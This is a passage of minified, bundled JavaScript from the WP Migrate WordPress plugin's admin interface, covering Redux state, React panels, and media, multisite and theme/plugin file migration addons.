ns=(0,Ja.vy)({abort_controller:{},AJAX_RUNNING:!1,AJAX_SUCCESS:!1,AJAX_ERROR:!1},{SET_ABORT_CONTROLLER:(e,t)=>(e.abort_controller[t.payload.key]=t.payload.controller,e)}),rs=a(74634),is=a(47198),ls={mdb_rest_active:!0};const ss=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ls,t=arguments.length>1?arguments[1]:void 0;return(0,es.Ay)(e,(a=>"MDB_REST_NOT_ACTIVE"===t.type?{mdb_rest_active:!1}:e))};var cs=a(36181),os={backups:tn,profiles:j.Ay,migrations:Jl.Ay,panels:pa.Ay,notifications:Kl.Ay,addons:Xl.A,settings:$l.Ay,global_status:as,api:ns,dbi_api_data:rs.Ay,mdb_filters:is.Ay,mdb_rest:ss,dry_run:cs.R0};function ds(e,t){if("RESET_APP"===e.type){var a=t;t={profiles:a.profiles,settings:a.settings,global_status:a.global_status,notifications:a.notifications,dbi_api_data:a.dbi_api_data,mdb_filters:a.mdb_filters,mdb_rest:a.mdb_rest}}return t}function ms(e){return(0,Ql.HY)((0,w.A)((0,w.A)({},os),e))}var ps=ms(void 0);const us=(e,t)=>(e=ds(t,e),ps(e,t));var _s=[Yl.A];var gs=("object"===typeof window&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__,Ql.Zz)((0,Ql.Tw)(..._s)),fs=(0,Ql.y$)(us,{},gs);window.WPMDBStore=fs,fs.asyncReducers={};const bs=fs;var hs=a(79764),vs=a(9098),Es=a(81438);function ws(e,t,a){e.asyncReducers[t]=a;var n=ms(e.asyncReducers);e.replaceReducer(((e,t)=>(e=ds(t,e),n(e,t))))}var ys={local_site:window.wpmdb_data,remote_site:{}};const As=(0,Ql.HY)({local_site:function(){return arguments.length>0&&void 0!==arguments[0]?arguments[0]:ys.local_site},remote_site:{},current_migration:V.nz,migration_progress:pe.Xo,search_replace:bl.ez,dry_run:cs.R0});var ks={profiles:j.Ay,migrations:As,panels:pa.Ay,notifications:Kl.Ay,settings:$l.Ay,global_status:as,mdb_filters:is.Ay,mdb_rest:ss,dry_run:cs.R0};var xs,Ns=(0,Ql.HY)((0,w.A)((0,w.A)({},ks),xs));const Ss=(e,t)=>(e=function(e,t){if("RESET_APP"===e.type){var a=t;t={profiles:a.profiles,settings:a.settings,global_status:a.global_status,notifications:a.notifications,mdb_filters:a.mdb_filters,mdb_rest:a.mdb_rest,dry_run:a.dry_run}}return t}(t,e),Ns(e,t));var Ts=[Yl.A];var Ps=("object"===typeof window&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__,Ql.Zz)((0,Ql.Tw)(...Ts)),Os=(0,Ql.y$)(Ss,{},Ps);window.WPMDBStore=Os,Os.asyncReducers={};const Cs=Os;var Rs=(()=>{var e,t,n,i=(0,g.PQ)()?bs:Cs;return e=r.lazy((()=>Promise.all([a.e(869),a.e(898),a.e(970),a.e(203)]).then(a.bind(a,79886)))),ws(i,"media_files",hs.Ay),t=r.lazy((()=>Promise.all([a.e(869),a.e(970),a.e(85)]).then(a.bind(a,17085)))),ws(i,"theme_plugin_files",vs.Ay),n=r.lazy((()=>Promise.all([a.e(869),a.e(384)]).then(a.bind(a,78384)))),ws(i,"multisite_tools",Es.Ay),{MediaFiles:e,ThemePluginFiles:t,MultisiteTools:n}})(),Ds=Rs.MediaFiles,Is=Rs.ThemePluginFiles,Ms=Rs.MultisiteTools;const Ls=e=>{var t=(0,i.wA)(),a=(0,i.d4)((e=>e.panels)).panelsToDisplay,n=(0,i.d4)((e=>e)),l=n.media_files,s=n.theme_plugin_files,c=n.multisite_tools,o=(0,i.d4)((e=>e.migrations.current_migration)).intent,d=t((0,Oi.cQ)()),m=(e,t)=>!(!e||!t)&&!(["push","pull"].includes(o)&&!t.is_licensed);return r.createElement(r.Fragment,null,a.map(((t,a)=>{switch(t){case"connect":return r.createElement(Zl,{key:a});case"multisite_tools":return Ms&&"backup_local"!==o&&(!["push","pull"].includes(o)||d)&&c.available&&c.is_licensed?r.createElement(r.Suspense,{fallback:r.createElement("div",null,"Loading..."),key:a},r.createElement(Ms,e)):null;case"database":return r.createElement(gl,{key:a});case"import":return r.createElement(Nl,{key:a,baseTitle:(0,v.__)("SQL File","wp-migrate-db")});case"media_files":return m(Ds,l)?r.createElement(r.Suspense,{fallback:r.createElement("div",null,"Loading..."),key:a},r.createElement(Ds,e)):null;case"theme_plugin_files":return m(Is,s)?r.createElement(r.Suspense,{fallback:r.createElement("div",null,"Loading..."),key:a},r.createElement(Is,e)):null;default:return null}})))};const Fs=e=>{var t=(0,r.useRef)(e);(0,r.useEffect)((()=>{t.current=e}),[e]),(0,r.useEffect)((()=>{var e=function(){for(var e,a=arguments.length,n=new Array(a),r=0;rwindow.removeEventListener("beforeunload",e)}),[])};const Bs=()=>{var e=(0,i.d4)((e=>e.migrations.migration_progress));Fs((t=>{!1===e.allow_page_leave&&(t.preventDefault(),t.returnValue="")}))};const Us=e=>{var t=e.version,a=e.title,n=e.content,i=e.postLink,l=e.imgSrc,s=e.imgAlt;return r.createElement("article",{className:"release-post"},r.createElement("h2",null,r.createElement("span",{className:"release-version"},"v",t," "),a),r.createElement("img",{src:l,alt:s}),r.createElement("div",{className:"release-content"},(0,h.Ay)(n)),r.createElement(We,{link:i,content:(0,v.__)("View Full Release Notes","wp-migrate-db"),utmContent:"view-full-release-notes",utmCampaign:"wp-migrate-whats-new",screenReaderText:(0,v.nv)((0,v.__)("about %s","wp-migrate-db"),a),hasArrow:!0}))};a(77482);const zs=a.p+"static/media/wp-migrate-2-6-0.8d26599e.png";var Gs=a(44875),js=a.n(Gs);const Vs=()=>{var e=[{version:"2.6.0",title:"Full-Site Exports & Import to Local",imgSrc:(0,g.p_)(zs),imgAlt:"Drop to import WP Migrate export to Local",content:"In addition to exporting the database, WP Migrate can now bundle media, themes, plugins, and other files necessary to fully replicate your site in a new environment. Plus a seamless integration with Local\u2014the #1 local WordPress development tool\u2014means the resulting ZIP archive can be imported into a new local development environment in minutes.
",postLink:"https://deliciousbrains.com/wp-migrate-2-6-released/"}],t=e=>e.releasePosts.map((e=>r.createElement(Us,e))),a={backgroundImage:"url(".concat(js(),")")};return r.createElement("div",{className:"whats-new"},r.createElement("div",{className:"release-posts"},r.createElement(t,{releasePosts:e}),r.createElement("div",{className:"more-releases",style:a},r.createElement("h2",null,"We've got more releases!"),r.createElement(We,{link:"https://deliciousbrains.com/wp-migrate-db-pro/whats-new/",content:(0,v.__)("Check them out","wp-migrate-db"),utmContent:"more-releases",utmCampaign:"wp-migrate-whats-new",hasArrow:!0}))))};const Hs=e=>{var t=(0,i.wA)(),n=(0,g.p_)(p),l={backgroundImage:"url(".concat(n,")")};return(0,r.useEffect)((()=>{t((async(e,t)=>{window.hasOwnProperty("wpmdbmf")&&Promise.resolve().then(a.bind(a,60274)).then((t=>{e(t.default())})),window.hasOwnProperty("wpmdbtp")&&Promise.resolve().then(a.bind(a,70784)).then((t=>{e(t.default())})),window.hasOwnProperty("wpmdbmst")&&Promise.resolve().then(a.bind(a,47492)).then((t=>{e(t.default())}))}))}),[]),Bs(),r.createElement(c.I9,{hashType:"noslash"},r.createElement(Lr,{className:"wpmdb"},r.createElement("div",{className:"header-wrap"},r.createElement("div",{className:"wrapper"},r.createElement("h2",{style:{display:"none"}}),r.createElement("div",{id:"nag-container"}),r.createElement("div",{className:"header mdb-header bg-brand-light flex-container",style:l},r.createElement(m,{className:"medallion"}),r.createElement("h1",null,"WP Migrate"),r.createElement(Ir,null)))),r.createElement(Qr,{isPro:!0},r.createElement(o.qh,{path:"/:tab(wpbody-content)?",exact:!0,render:e=>r.createElement(ae,e)}),r.createElement(o.qh,{path:["/migrate/:id","/migrate","/unsaved/:id"],render:e=>r.createElement(Wa,(0,s.A)({},e,{ChildPanels:r.createElement(Ls,e)}))}),r.createElement(o.qh,{path:"/backups",component:nn}),r.createElement(o.qh,{path:"/settings",render:e=>r.createElement(Ar,e)}),r.createElement(o.qh,{path:"/addons",component:On}),r.createElement(o.qh,{path:"/help",component:Xn}),r.createElement(o.qh,{path:"/whats-new",component:Vs}))))};window.wpmdb_abort_controller=new AbortController;var Ws=document.getElementById("root");(0,l.H)(Ws).render(r.createElement(i.Kq,{store:bs},r.createElement(Hs,{isPro:!0})))},60274:(e,t,a)=>{"use strict";a.r(t),a.d(t,{default:()=>o});var n=a(24467),r=a(73035),i=a(9339),l=a(57524),s=a(1626),c=a(79764);const o=()=>(e,t)=>{e(((e,t)=>{e((0,r.ip)("afterFinalizeMigration",(()=>{e((0,s.b)(c.Yv,Date.now()))})))})),e(((e,t)=>{(0,n.vA)((()=>{e((0,r.U2)("wpmdbPreMigrationCheck",(t=>e((0,i.h9)(t))))),e((0,r.U2)("addMigrationStages",(t=>e((0,i.d6)(t))))),e((0,r.U2)("mdbAddonActions",(async a=>t().media_files.enabled?await e((0,i.PC)()):a))),e((0,r.U2)("wpmdbFinalizeMigration",(e=>{if(!t().media_files.enabled)return e;var a=t().profiles.current_profile,n=(0,l.ud)("profile_type",t());return e.profileID=a,e.profileType=n,e})))}))}))}},9339:(e,t,a)=>{"use strict";a.d(t,{Db:()=>h,Ke:()=>f,PC:()=>y,PY:()=>b,SJ:()=>g,d6:()=>w,h9:()=>N,kn:()=>v,rG:()=>_,xB:()=>E});var n=a(17762),r=a(79764),i=a(1626),l=a(57524),s=a(68647),c=a(48346),o=a(26388),d=a(20614),m=a(11365),p=a(31775),u=a(12991),_=((0,n.__)("Media Files addon","wp-migrate-db"),()=>(0,n.__)("Addon Missing - The Media Files addon is inactive on the remote site. Please install and activate it to enable media file migration.","wp-migrate-db")),g=()=>(e,t)=>e((0,i.b)(r.yX)),f=e=>(0,i.b)(r.QV,e),b=(e,t)=>a=>{a({type:r.be,payload:{available:e,message:t}})},h=e=>t=>{t({type:r.$J,payload:e})},v=(e,t)=>t=>t((0,i.b)(r.u8,e)),E=e=>t=>t((0,i.b)(r.F9,e));function w(e){return(t,a)=>(a().media_files.enabled&&e.push("media_files"),e)}var y=()=>async(e,t)=>{var a=t().media_files,n=(0,l.ud)("intent",t());return!(!["push","pull","savefile"].includes(n)||!a.enabled)&&await e((0,s.GD)("ADDONS_STAGE",[{fn:k,args:["media_files"]}]))},A=()=>(e,t)=>{var a=(0,l.ud)("intent",t()),n=(0,l.yy)("this_wp_upload_dir",t()),r=(0,l.vg)("wp_upload_dir",t());return["push","savefile"].includes(a)?n:r},k=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return async(a,n)=>{t||a((0,u._)(e));var r=(0,l.ud)("migration_id",n()),i=(0,l.ud)("stages",n()),c=n().media_files,o=a(A()),m=c.excludes,p=c.option,_=c.date,g=c.last_migration,f={stage:"media_files",stages:i,folder:o,migration_state_id:r,excludes:JSON.stringify(m),is_cli_migration:0};"new"===p&&(f.date=_,f.timezone=Intl.DateTimeFormat().resolvedOptions().timeZone),"new_subsequent"===p&&""!==g&&(f.date=new Date(g).toISOString(),f.timezone=Intl.DateTimeFormat().resolvedOptions().timeZone);var b=await a((0,d.c)("/mf-initiate-file-migration",f));return!!b&&(b.data.recursive_queue?await a((0,u.t)(e,b,k)):void await a((0,s.GD)("ADDONS_STAGE",[{fn:x,args:[e,b]}])))}},x=function(e,t){var a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return async(t,r)=>{t((0,i.b)(c.ks,(0,n.__)("Loading queue...","wp-migrate-db")));var u=(0,l.ud)("migration_id",r()),_={stage:"media_files",offset:a,migration_state_id:u},g=await t((0,d.c)("/mf-get-queue-items",_));if(g){var f=g.data;if("complete"!==f.status){if(!f.hasOwnProperty("queue_status"))return t((0,p.pA)()),!1;t((0,o.Kr)(f.queue_status.size/1e3)),await t((0,s.GD)("ADDONS_STAGE",[{fn:x,args:[e,g]}]))}else{var b={currentStage:e,stage:"media_files",migration_state_id:u,folder:t(A())};await t((0,s.GD)("ADDONS_STAGE",[{fn:m.D2,args:[e,"/mf-transfer-files",b]}]))}}}};function N(e){return(t,a)=>{var n=a().media_files,r=n.date,i=n.enabled,s=(0,l.ud)("intent",a());if(!i||!["push","pull"].includes(s))return e;var c=[...e],o=new Date(Date.now());if(new Date(r)>o){c.push({name:"MF_INVALID_DATE",panel:"media_files"})}return"undefined"!==typeof n.option&&null!==n.option||c.push({name:"MF_OPTION_NULL",panel:"media_files"}),c}}},79764:(e,t,a)=>{"use strict";a.d(t,{$J:()=>m,Ay:()=>f,F9:()=>u,QV:()=>o,Yv:()=>_,be:()=>d,u8:()=>p,yX:()=>c});var n=a(60987),r=a(4173),i=a(95222),l=a(42686),s=a(50403),c="TOGGLE_MEDIA_FILES",o="SET_MEDIA_FILES_OPTION",d="SET_MF_AVAILABLE",m="SET_MF_LICENSED",p="UPDATE_MF_EXCLUDES",u="UPDATE_MF_DATE",_="UPDATE_MF_LAST_MIGRATION",g={enabled:!1,option:"all",available:!1,is_licensed:!1,message:"",excludes:".DS_Store\n*.log\n*backup*/\n*cache*/",last_migration:"",date:new Date(Date.now()).toISOString()};const f=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:g,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return a.date=new Date(Date.now()).toISOString(),a;case l._:return(0,n.A)((0,n.A)({},a),{},{available:1===window.wpmdb_data.mf_available,message:""});case c:return a.enabled=!a.enabled,a;case m:return a.is_licensed=t.payload,a;case o:return a.option=t.payload,a;case i.vm:var r=t.payload.profile.value;return r.hasOwnProperty("media_files")&&(a.enabled=r.media_files.enabled,a.option=r.media_files.option,a.date=r.media_files.date,a.excludes=r.media_files.excludes,a.last_migration=r.media_files.last_migration),r.current_migration.hasOwnProperty("media_migration_option")&&!0===t.payload.profile.imported&&(a.option=null,a.enabled=!0),a;case d:var g=t.payload.available;return a.available=g,t.payload.hasOwnProperty("message")&&(a.message=t.payload.message),g||(a.enabled=!1),a;case p:return(0,n.A)((0,n.A)({},a),{},{excludes:t.payload});case u:return(0,n.A)((0,n.A)({},a),{},{date:t.payload});case _:return(0,n.A)((0,n.A)({},a),{},{last_migration:t.payload});case s.Ui:return(0,n.A)((0,n.A)({},a),{},{available:"1"===t.payload.mf_available});default:return e}}))}},47492:(e,t,a)=>{"use strict";a.r(t),a.d(t,{default:()=>c});var n=a(24467),r=a(73035),i=a(72076),l=a(44016),s=a(97041);const c=function(){return(e,t)=>{e(((e,t)=>{(0,n.vA)((()=>{e((0,r.ip)("addonActions",(()=>{}))),e((0,r.ip)("postConnectionPanels",(()=>{e((0,l.lS)("multisite_tools"))})))}))})),e(((e,t)=>{(0,n.vA)((()=>{e((0,r.U2)("wpmdbBackupTables",((e,a)=>{if("backup_selected"!==a)return e;var n=t(),r=n.multisite_tools,i=n.migrations,l=r.selected_subsite,c=i.current_migration,o=i.local_site,d=i.remote_site,m="push"===c.intent?d.site_details.prefix:o.this_prefix;if(0===l)return e;var p=t().migrations;return(0,s.W3)(l,m,p,"backup")}))),e((0,r.U2)("addonPanels",((t,a)=>(e((0,i.cQ)(a))&&["savefile","find_replace","backup_local"].includes(a)&&t.push("multisite_tools"),t)))),e((0,r.U2)("addonPanelsOpen",((e,t)=>(["savefile","find_replace","backup_local"].includes(t)&&e.push("multisite_tools"),e)))),e((0,r.U2)("intiateMigrationPostData",(e=>{var a=t().multisite_tools;return a.enabled&&(e.mst_select_subsite="1"),a.selected_subsite>0&&(e.mst_selected_subsite=Number(a.selected_subsite),e.new_prefix=a.new_prefix),a.destination_subsite>0&&(e.mst_destination_subsite=Number(a.destination_subsite)),e}))),e((0,r.U2)("wpmdb_standard_replace_values",(a=>{if(!t().multisite_tools.enabled)return a;var n=e((0,s.h9)());return a.domain.search=n.search,a.domain.replace=n.replace,a}))),e((0,r.U2)("wpmdbPreMigrationCheck",(t=>e((0,s.U9)(t)))))}))}))}}},49070:(e,t,a)=>{"use strict";function n(e,t,a){return"pull"===e&&t||"push"===e&&a}function r(e,t){return!!Object.keys(t).includes(e)&&{subsiteName:t[e],subsites:t}}function i(e,t){return Object.keys(t.subsites).includes(e)?t.subsites[e]:t.url}function l(e){var t=e.local_site,a=e.remote_site,n=e.current_migration.localSource;return{sourceSite:n?t:a,destinationSite:n?a:t}}a.d(t,{Gg:()=>l,QT:()=>r,ak:()=>n,tM:()=>i})},97041:(e,t,a)=>{"use strict";a.d(t,{Cr:()=>w,K6:()=>f,Oz:()=>g,U9:()=>A,W3:()=>y,Yr:()=>b,h9:()=>h,vQ:()=>E});var n=a(24467),r=a(17762),i=a(43318),l=a(81438),s=a(49070),c=a(72076),o=a(16274),d=a(95222),m=a(33782),p=a(58215),u=a(57524),_=a(1626),g=((0,r.__)("Multisite Tools addon","wp-migrate-db"),()=>(0,r.__)("Addon Missing - The Multisite Tools addon is inactive on the remote site. Please install and activate it to enable Multisite Tools migration.","wp-migrate-db")),f=e=>(0,_.b)(l.w9,{available:e}),b=e=>(0,_.b)(l.Ql,e),h=()=>(e,t)=>{var a=t(),n=a.migrations,r=a.multisite_tools,i=r.selected_subsite,l=r.destination_subsite,s=r.enabled,c=n.local_site,o=n.remote_site,d=n.current_migration,p=d.twoMultisites,u=d.localSource,_=u?c:o,g=u?o:c,f="true"===_.site_details.is_multisite,b=f&&0!==i?"//"+_.subsites[i]:_.url,h=f?g.url:"//"+g.subsites[i];return p&&(b=0===i?_.url:"//"+_.subsites[i],h=0===l?g.url:"//"+g.subsites[l]),s||(b=_.url,h=g.url),{search:(0,m.b5)(b),replace:(0,m.b5)(h)}},v=(e,t)=>(a,r)=>{if(0===e)return!1;var i=r().migrations,l=y(e,t,i,"migration");(0,n.vA)((()=>{a((0,o.aE)(l)),a({type:d.UL,payload:"selected"})}))},E=()=>(e,t)=>{var a=t(),r=a.migrations,s=a.multisite_tools,c=(0,u.ud)("intent",t()),o=s.enabled,d=r.local_site,m=r.current_migration;(0,n.vA)((()=>{e({type:l.EK,payload:!o,data:d,intent:c});var t=e(h());if(e((0,i.fW)(t)),!o){var a=s.selected_subsite,n=["find_replace","savefile"].includes(c)?d.this_prefix:m.source_prefix;e(v(a,n))}}))},w=e=>{e.selectedSubsite;var t=e.selectedSubsiteID,a=e.type;return(e,n)=>{var r=n().migrations,c=r.current_migration,o=r.local_site,d=c.intent;if(["push","pull"].includes(d)){var m=e(h());e((0,i.fW)(m))}if(["savefile"].includes(d)&&"savefile"===d&&e({type:p.Co,payload:!0}),e(((e,t)=>{var a=t(),n=a.multisite_tools,r=a.migrations,i=r.local_site,c=r.remote_site,o=r.current_migration,d=o.intent,m=o.twoMultisites?n.destination_subsite:n.selected_subsite,p=(0,s.ak)(d,"true"===i.is_multisite,"site_details"in c?"true"===c.site_details.is_multisite:void 0),u="push"===d?c.prefix:i.this_prefix;return m&&m>1&&(p||["find_replace","savefile"].includes(d))&&(u=u+m+"_"),e({type:l.wE,payload:u}),u})),"source"===a){var u=["find_replace","savefile"].includes(d)?o.this_prefix:c.source_prefix;e(v(t,u))}}},y=function(e,t,a){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"migration",r=a.local_site,i=a.remote_site,l=a.current_migration.intent,s=r.this_prefixed_tables,o=r.this_table_sizes_hr,d=i.prefixed_tables,m=i.table_sizes_hr,p="true"===r.is_multisite,u="site_details"in i&&"true"===i.site_details.is_multisite,_=(0,c.oI)(l,{tables:s,tableSizes:o},{tables:d,tableSizes:m},n).tables,g=["".concat(t,"users"),"".concat(t,"usermeta")],f=["".concat(t,"blog_versions"),"".concat(t,"blogs"),"".concat(t,"blogmeta"),"".concat(t,"registration_log"),"".concat(t,"signups"),"".concat(t,"site"),"".concat(t,"sitemeta")],b=[];return _.forEach(((a,r)=>{if(g.includes(a))b.push(a);else if(!f.includes(a)){if("migration"===n){if("pull"===l&&!u||"push"===l&&!p)return void b.push(a)}else if("pull"===l&&!p||"push"===l&&!u)return void b.push(a);var i=1!==parseInt(e)?"^".concat(t+e,"_"):"^".concat(t,"(?![0-9]+_)");RegExp(i,"i").exec(a)&&b.push(a)}})),b},A=e=>(t,a)=>{var n=(0,u.ud)("intent",a()),r=(0,u.ud)("twoMultisites",a()),i=a().multisite_tools,l=i.enabled,s=i.selected_subsite,c=i.destination_subsite,o=i.new_prefix,d=i.is_licensed,m=i.available;if(!l||!d||!m)return e;var p=[];if(0===s){p.push({name:"MST_NO_SUBSITE",panel:"multisite_tools"})}if(r&&0===c){p.push({name:"MST_NO_DESTINATION",panel:"multisite_tools"})}if("savefile"===n){if(""===o){p.push({name:"MST_EMPTY_PREFIX",panel:"multisite_tools"})}if(!k(o)){p.push({name:"MST_INVALID_PREFIX",panel:"multisite_tools"})}}return p.length>0&&(e=e.concat(p)),e},k=e=>null===new RegExp("[^a-z0-9_]","i").exec(e)},81438:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>f,EK:()=>d,FS:()=>o,Ql:()=>u,_f:()=>c,g4:()=>_,w9:()=>p,wE:()=>m});var n=a(60987),r=a(4173),i=a(95222),l=a(50403),s=a(42686),c="UPDATE_SELECTED_SUBSITE",o="UPDATE_DESTINATION_SUBSITE",d="MST_TOGGLE_ENABLED",m="MST_UPDATE_PREFIX",p="SET_MST_AVAILABLE",u="SET_MST_LICENSED",_="SET_MST_SUB_SINGLE",g={enabled:!1,available:!1,is_licensed:!1,selected_subsite:0,destination_subsite:0,new_prefix:"",message:""};const f=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:g,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return a;case i.GF:case s._:return a.available="1"===window.wpmdb_data.mst_available,a;case i.vm:var r=t.payload.profile.value.multisite_tools;return a=(0,n.A)({},r);case d:return a.enabled=t.payload,""===a.new_prefix&&(a.new_prefix=t.prefix),a;case c:return a.selected_subsite=t.payload,a;case o:return a.destination_subsite=t.payload,a;case m:return a.new_prefix=t.payload,a;case p:return a.message="",a;case u:return a.is_licensed=t.payload,a;case _:return a.enabled=!0,a;case l.Ui:return(0,n.A)((0,n.A)({},a),{},{available:"1"===t.payload.mst_available});default:return e}}))}},7220:(e,t,a)=>{"use strict";a.d(t,{Z:()=>r,d:()=>n});var n=e=>{var t=e.theme_plugin_files;return"undefined"!==typeof t.available&&!t.available},r=(e,t)=>{if(!e)return"none";if(e&&t)switch(i(e,t)){case-1:return"down";case 0:return"equal";default:return"up"}return"add"},i=(e,t)=>{if(e===t)return 0;for(var a=e.split("."),n=t.split("."),r=a.length>=n.length?a.length:n.length,i=0;is)return 1;if(l{"use strict";a.r(t),a.d(t,{default:()=>i});var n=a(73035),r=a(57269);const i=()=>(e,t)=>{e(((e,t)=>{})),e(((e,t)=>{e((0,n.U2)("wpmdbPreMigrationCheck",(t=>e((0,r.kW)(t))))),e((0,n.U2)("addMigrationStages",(t=>e((0,r.Km)(t))))),e((0,n.U2)("mdbAddonActions",(async a=>{var n=t(),i=n.theme_plugin_files,l=n.migrations,s=i.theme_files,c=i.plugin_files,o=i.muplugin_files,d=i.other_files,m=i.core_files,p=s?s.enabled:null,u=c?c.enabled:null,_=o?o.enabled:null,g=d?d.enabled:null,f=m?m.enabled:null,b="pull"===l.current_migration.intent?l.remote_site.site_details:l.local_site.site_details,h=Object.keys(b.themes).length>0,v=Object.keys(b.plugins).length>0,E=Object.keys(b.muplugins).length>0,w=Object.keys(b.others).length>0,y=Object.keys(b.core).length>0,A=window.hasOwnProperty("wpmdbmf")&&t().media_files.enabled;return(p&&h||u&&v||_&&E||g&&w||f&&y)&&(!window.hasOwnProperty("wpmdbmf")||window.hasOwnProperty("wpmdbmf")&&!A)?await e((0,r.OU)()):a})))}))}},57269:(e,t,a)=>{"use strict";a.d(t,{JE:()=>y,Km:()=>S,M5:()=>b,Mm:()=>E,OU:()=>T,ZR:()=>w,kW:()=>N,m6:()=>h,mf:()=>A,o6:()=>g,qb:()=>v,tl:()=>k,uL:()=>O});var n=a(17762),r=a(9098),i=a(1626),l=a(68647),s=a(11365),c=a(57524),o=a(48346),d=a(26388),m=a(20614),p=a(31775),u=a(12991),_=a(33782),g=((0,n.__)("Theme & Plugin Files addon","wp-migrate-db"),"TPF"),f={theme_files:"themes",plugin_files:"plugins",muplugin_files:"muplugins",other_files:"others",core_files:"core"},b=()=>(0,n.__)("Addon Missing - The Theme & Plugin Files addon is inactive on the remote site. Please install and activate it to enable Theme & Plugin Files migration.","wp-migrate-db"),h=e=>t=>{t({type:r.xV,payload:e})},v=(e,t)=>a=>{a({type:r.Uw,payload:{available:e,message:t}})},E=e=>t=>{t({type:r.cS,payload:e})},w=(e,t)=>{var a={themes:r.Ju,plugins:r.TD,muplugins:r.nO,others:r.Iy,core:r.SR};return(0,i.b)(a[t],e)},y=(e,t)=>{var a={themes:r.N$,plugins:r.rC,muplugins:r.Pj,others:r.o4,core:r.aR};return(0,i.b)(a[t],e)},A=(e,t)=>{var a={themes:r.WZ,plugins:r.sd};return(0,i.b)(a[t],e)},k=(e,t)=>{var a={themes:r.fY,plugins:r.To,muplugins:r.LV,others:r.Qd,core:r.iu};return(0,i.b)(a[t],e)},x=(e,t)=>{var a=[...t],n={name:{themes:"SELECTED_THEMES_EMPTY",plugins:"SELECTED_PLUGINS_EMPTY",muplugins:"SELECTED_MUPLUGINS_EMPTY",others:"SELECTED_OTHERS_EMPTY",core:"SELECTED_CORE_EMPTY"}[e],panel:{themes:"theme_files",plugins:"plugin_files",muplugins:"muplugin_files",others:"other_files",core:"core_files"}[e]};return a.push(n),a};function N(e){return(t,a)=>{var n=a().theme_plugin_files,r=n.theme_files,i=n.themes_selected,l=n.themes_excluded,s=n.themes_option,c=n.plugin_files,o=n.plugins_selected,d=n.plugins_excluded,m=n.plugins_option,p=n.muplugin_files,u=n.muplugins_selected,_=n.muplugins_option,g=n.other_files,f=n.others_selected,b=n.others_option,h=n.core_files,v=n.core_selected,E=n.core_option;return r.enabled&&"selected"===s&&0===i.length&&(e=x("themes",e)),r.enabled&&"except"===s&&0===l.length&&(e=x("themes",e)),c.enabled&&"selected"===m&&0===o.length&&(e=x("plugins",e)),c.enabled&&"except"===m&&0===d.length&&(e=x("plugins",e)),p&&p.enabled&&"selected"===_&&0===u.length&&(e=x("muplugins",e)),g&&g.enabled&&"selected"===b&&0===f.length&&(e=x("others",e)),h&&h.enabled&&"selected"===E&&0===v.length&&(e=x("core",e)),e}}function S(e){return(t,a)=>{var n=a(),r=n.theme_plugin_files,i=n.migrations,l=i.local_site,s=i.remote_site,c=i.current_migration,o=c.intent,d=r.theme_files,m=r.plugin_files,p=r.muplugin_files,u=r.other_files,g=r.core_files,f="pull"===o?s.site_details:l.site_details,b="savefile"===o;return d&&d.enabled&&Object.keys(f.themes).length>0&&(!0===b||"true"===(0,_.Ri)("theme_files",c,l,s))&&e.push("theme_files"),m&&m.enabled&&Object.keys(f.plugins).length>0&&(!0===b||"true"===(0,_.Ri)("plugin_files",c,l,s))&&e.push("plugin_files"),p&&p.enabled&&Object.keys(f.muplugins).length>0&&(!0===b||"true"===(0,_.Ri)("muplugin_files",c,l,s))&&e.push("muplugin_files"),u&&u.enabled&&Object.keys(f.others).length>0&&(!0===b||"true"===(0,_.Ri)("other_files",c,l,s))&&e.push("other_files"),g&&g.enabled&&e.push("core_files"),e}}var T=()=>async(e,t)=>{var a=e(R()),n=t().theme_plugin_files,r=(0,c.ud)("intent",t());return!!["push","pull","savefile"].includes(r)&&(!!(n.theme_files.enabled||n.plugin_files.enabled||n.muplugin_files.enabled||n.other_files.enabled||n.core_files.enabled)&&(await e((0,l.GD)("ADDONS_STAGE",[{fn:O,args:[a]}])),!0))},P=(e,t)=>{var a=e.theme_plugin_files,n=(0,c.ud)("intent",e),r="push"===n||"savefile"===n?e.migrations.local_site.site_details[t]:e.migrations.remote_site.site_details[t],i=[];if("all"===a["".concat(t,"_option")])return Object.values(r).forEach((e=>{"savefile"!==n&&e[0].path.includes("wp-migrate-db")||i.push(e[0].path)})),i;if("active"===a["".concat(t,"_option")])return Object.values(r).forEach((e=>{e[0].active&&i.push(e[0].path)})),i;if("selected"===a["".concat(t,"_option")])return a["".concat(t,"_selected")];if("except"===a["".concat(t,"_option")]){var l=a["".concat(t,"_excluded")];return Object.values(r).forEach((e=>{l.includes(e[0].path)||i.push(e[0].path)})),i}},O=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return async(a,r)=>{t||a((0,u._)(e));var i=(0,c.ud)("migration_id",r()),s=(0,c.ud)("stages",r()),o=r().theme_plugin_files,d=P(r(),"plugins"),p=P(r(),"muplugins"),_=P(r(),"themes"),g=P(r(),"others"),b=P(r(),"core"),h=P(r(),f[e]),v=o.excludes,E=o.themes_option,w=o.plugins_option,y=o.muplugins_option,A=o.others_option,k=o.core_option,x=o.plugins_excludes,N=o.muplugins_excludes,S=o.themes_excludes,T=o.others_excludes,R=o.core_excludes,D={stage:f[e],stages:s,theme_folders:JSON.stringify(_),plugin_folders:JSON.stringify(d),muplugin_folders:JSON.stringify(p),other_folders:JSON.stringify(g),core_folders:JSON.stringify(b),themes_option:E,plugins_option:w,muplugins_option:y,others_option:A,core_option:k,folders:JSON.stringify(h),migration_state_id:i,excludes:JSON.stringify(v),plugins_excludes:JSON.stringify(x),muplugins_excludes:JSON.stringify(N),themes_excludes:JSON.stringify(S),others_excludes:JSON.stringify(T),core_excludes:JSON.stringify(R),is_cli_migration:0},I=await a((0,m.c)("/tpf-initiate-file-migration",D));if(I){var M={theme_files:(0,n.__)("themes","wp-migrate-db"),plugin_files:(0,n.__)("plugins","wp-migrate-db"),muplugin_files:(0,n.__)("must-use 